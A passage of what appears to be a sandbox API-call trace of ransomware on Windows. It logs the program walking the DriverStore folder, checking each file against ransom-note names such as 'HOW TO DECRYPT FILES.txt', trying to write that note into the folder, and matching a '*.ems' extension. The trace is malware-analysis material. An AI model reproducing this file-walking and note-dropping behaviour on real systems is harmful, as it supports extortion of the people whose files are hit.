ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0735b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x894, dwReserved0=0x0, dwReserved1=0x0, cFileName="adp94xx.inf_loc", cAlternateFileName="")) returned 1 [0144.834] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.834] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="adp94xx.inf_loc") returned 1 [0144.834] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="adp94xx.inf_loc") returned 1 [0144.834] lstrcmpiA (lpString1="", lpString2="adp94xx.inf_loc") returned -1 [0144.834] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\acpipmi.inf_loc") returned="acpipmi.inf_loc" [0144.834] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="C:\\Windows\\System32\\DriverStore\\en-US\\" [0144.834] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="" [0144.834] lstrcatA (in: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt" [0144.834] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\driverstore\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0144.834] CreateFileA (lpFileName="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\driverstore\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0144.835] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.835] CloseHandle (hObject=0xffffffff) returned 0 [0144.835] lstrcatA (in: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\", lpString2="adp94xx.inf_loc" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\adp94xx.inf_loc") returned="C:\\Windows\\System32\\DriverStore\\en-US\\adp94xx.inf_loc" [0144.835] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DriverStore\\en-US\\adp94xx.inf_loc", pszSpec="*.ems") returned 0 [0144.835] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0735b2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0735b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="adpahci.inf_loc", cAlternateFileName="")) returned 1 [0144.835] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.835] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="adpahci.inf_loc") returned 1 [0144.835] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="adpahci.inf_loc") returned 1 [0144.835] lstrcmpiA (lpString1="", lpString2="adpahci.inf_loc") returned -1 [0144.835] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\adp94xx.inf_loc") returned="adp94xx.inf_loc" [0144.835] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="C:\\Windows\\System32\\DriverStore\\en-US\\" [0144.835] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="" [0144.835] lstrcatA (in: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt" [0144.836] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\driverstore\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0144.836] CreateFileA (lpFileName="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\driverstore\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0144.836] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.836] CloseHandle (hObject=0xffffffff) returned 0 [0144.836] lstrcatA (in: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\", lpString2="adpahci.inf_loc" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\adpahci.inf_loc") returned="C:\\Windows\\System32\\DriverStore\\en-US\\adpahci.inf_loc" [0144.836] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DriverStore\\en-US\\adpahci.inf_loc", pszSpec="*.ems") returned 0 [0144.836] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0735b2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0735b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xbc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="adpu320.inf_loc", cAlternateFileName="")) returned 1 [0144.836] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.836] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="adpu320.inf_loc") returned 1 [0144.836] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="adpu320.inf_loc") returned 1 [0144.837] lstrcmpiA (lpString1="", lpString2="adpu320.inf_loc") returned -1 [0144.837] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\adpahci.inf_loc") returned="adpahci.inf_loc" [0144.837] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="C:\\Windows\\System32\\DriverStore\\en-US\\" [0144.837] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="" [0144.837] lstrcatA (in: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt" [0144.837] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\driverstore\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0144.837] CreateFileA (lpFileName="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\driverstore\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0144.837] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.837] CloseHandle (hObject=0xffffffff) returned 0 [0144.837] lstrcatA (in: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\", lpString2="adpu320.inf_loc" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\adpu320.inf_loc") returned="C:\\Windows\\System32\\DriverStore\\en-US\\adpu320.inf_loc" [0144.837] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DriverStore\\en-US\\adpu320.inf_loc", pszSpec="*.ems") returned 0 [0144.837] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0735b2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0735b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x92a, dwReserved0=0x0, dwReserved1=0x0, cFileName="agp.inf_loc", cAlternateFileName="")) returned 1 [0144.838] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.838] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="agp.inf_loc") returned 1 [0144.838] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="agp.inf_loc") returned 1 [0144.838] lstrcmpiA (lpString1="", lpString2="agp.inf_loc") returned -1 [0144.838] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\adpu320.inf_loc") returned="adpu320.inf_loc" [0144.838] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="C:\\Windows\\System32\\DriverStore\\en-US\\" [0144.838] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="" [0144.838] lstrcatA (in: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt" [0144.838] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\driverstore\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0144.838] CreateFileA (lpFileName="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\driverstore\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0144.838] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.838] CloseHandle (hObject=0xffffffff) returned 0 [0144.838] lstrcatA (in: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\", lpString2="agp.inf_loc" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\agp.inf_loc") returned="C:\\Windows\\System32\\DriverStore\\en-US\\agp.inf_loc" [0144.838] PathMatchSpecA (pszFile="C:\\Windows\\System32\\DriverStore\\en-US\\agp.inf_loc", pszSpec="*.ems") returned 0 [0144.839] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0735b2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0735b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x406, dwReserved0=0x0, dwReserved1=0x0, cFileName="amdsata.inf_loc", cAlternateFileName="")) returned 1 [0144.839] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.839] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="amdsata.inf_loc") returned 1 [0144.839] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="amdsata.inf_loc") returned 1 [0144.839] lstrcmpiA (lpString1="", lpString2="amdsata.inf_loc") returned -1 [0144.839] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\agp.inf_loc") returned="agp.inf_loc" [0144.839] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="C:\\Windows\\System32\\DriverStore\\en-US\\" [0144.839] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="" [0144.839] lstrcatA (in: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt" [0144.839] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\driverstore\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0144.839] CreateFileA (lpFileName="C:\\Windows\\System32\\DriverStore\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\driverstore\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0144.839] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.839] CloseHandle (hObject=0xffffffff) returned 0 [0144.840] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0735b2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0735b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x594, dwReserved0=0x0, dwReserved1=0x0, cFileName="AMDSBS.inf_loc", cAlternateFileName="")) returned 1 [0144.840] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.840] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AMDSBS.inf_loc") returned 1 [0144.840] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AMDSBS.inf_loc") returned 1 [0144.840] lstrcmpiA (lpString1="", lpString2="AMDSBS.inf_loc") returned -1 [0144.840] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\amdsata.inf_loc") returned="amdsata.inf_loc" [0144.840] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="C:\\Windows\\System32\\DriverStore\\en-US\\" [0144.840] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="" [0144.840] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.840] CloseHandle (hObject=0xffffffff) returned 0 [0144.840] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0735b2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0735b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x9a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="arc.inf_loc", cAlternateFileName="")) returned 1 [0144.840] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.840] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="arc.inf_loc") returned 1 [0144.841] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="arc.inf_loc") returned 1 [0144.841] lstrcmpiA (lpString1="", lpString2="arc.inf_loc") returned -1 [0144.841] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\AMDSBS.inf_loc") returned="AMDSBS.inf_loc" [0144.841] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="C:\\Windows\\System32\\DriverStore\\en-US\\" [0144.841] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="" [0144.841] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.841] CloseHandle (hObject=0xffffffff) returned 0 [0144.841] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0735b2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0735b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="arcsas.inf_loc", cAlternateFileName="")) returned 1 [0144.841] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.841] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="arcsas.inf_loc") returned 1 [0144.841] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="arcsas.inf_loc") returned 1 [0144.841] lstrcmpiA (lpString1="", lpString2="arcsas.inf_loc") returned -1 [0144.841] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\arc.inf_loc") returned="arc.inf_loc" [0144.841] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="C:\\Windows\\System32\\DriverStore\\en-US\\" [0144.841] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="" [0144.842] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.842] CloseHandle (hObject=0xffffffff) returned 0 [0144.842] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7c8ca, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca7c8ca, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="atiilhag.inf_loc", cAlternateFileName="")) returned 1 [0144.842] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.842] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="atiilhag.inf_loc") returned 1 [0144.842] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="atiilhag.inf_loc") returned 1 [0144.842] lstrcmpiA (lpString1="", lpString2="atiilhag.inf_loc") returned -1 [0144.842] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\arcsas.inf_loc") returned="arcsas.inf_loc" [0144.842] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="C:\\Windows\\System32\\DriverStore\\en-US\\" [0144.842] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="" [0144.843] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.843] CloseHandle (hObject=0xffffffff) returned 0 [0144.843] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7c8ca, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca7c8ca, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x328, dwReserved0=0x0, dwReserved1=0x0, cFileName="avc.inf_loc", cAlternateFileName="")) returned 1 [0144.843] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.843] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="avc.inf_loc") returned 1 [0144.843] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="avc.inf_loc") returned 1 [0144.843] lstrcmpiA (lpString1="", lpString2="avc.inf_loc") returned -1 [0144.843] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\atiilhag.inf_loc") returned="atiilhag.inf_loc" [0144.843] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="C:\\Windows\\System32\\DriverStore\\en-US\\" [0144.843] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="" [0144.843] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.843] CloseHandle (hObject=0xffffffff) returned 0 [0144.844] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="avmx64c.inf_loc", cAlternateFileName="")) returned 1 [0144.844] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.844] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="avmx64c.inf_loc") returned 1 [0144.844] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="avmx64c.inf_loc") returned 1 [0144.844] lstrcmpiA (lpString1="", lpString2="avmx64c.inf_loc") returned -1 [0144.844] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\avc.inf_loc") returned="avc.inf_loc" [0144.844] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="C:\\Windows\\System32\\DriverStore\\en-US\\" [0144.844] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="" [0144.844] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0144.844] CloseHandle (hObject=0xffffffff) returned 0 [0144.845] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd09986b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd09986b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x834, dwReserved0=0x0, dwReserved1=0x0, cFileName="battery.inf_loc", cAlternateFileName="")) returned 1 [0144.845] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0144.845] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="battery.inf_loc") returned 1 [0144.845] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="battery.inf_loc") returned 1 [0144.845] lstrcmpiA (lpString1="", lpString2="battery.inf_loc") returned -1 [0144.845] PathFindFileNameA (pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\avmx64c.inf_loc") returned="avmx64c.inf_loc" [0144.845] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: lpString1="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="C:\\Windows\\System32\\DriverStore\\en-US\\" [0144.845] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\" | out: pszPath="C:\\Windows\\System32\\DriverStore\\en-US\\") returned="" [0144.845] SetFileTime (hFile=0xffffffff, 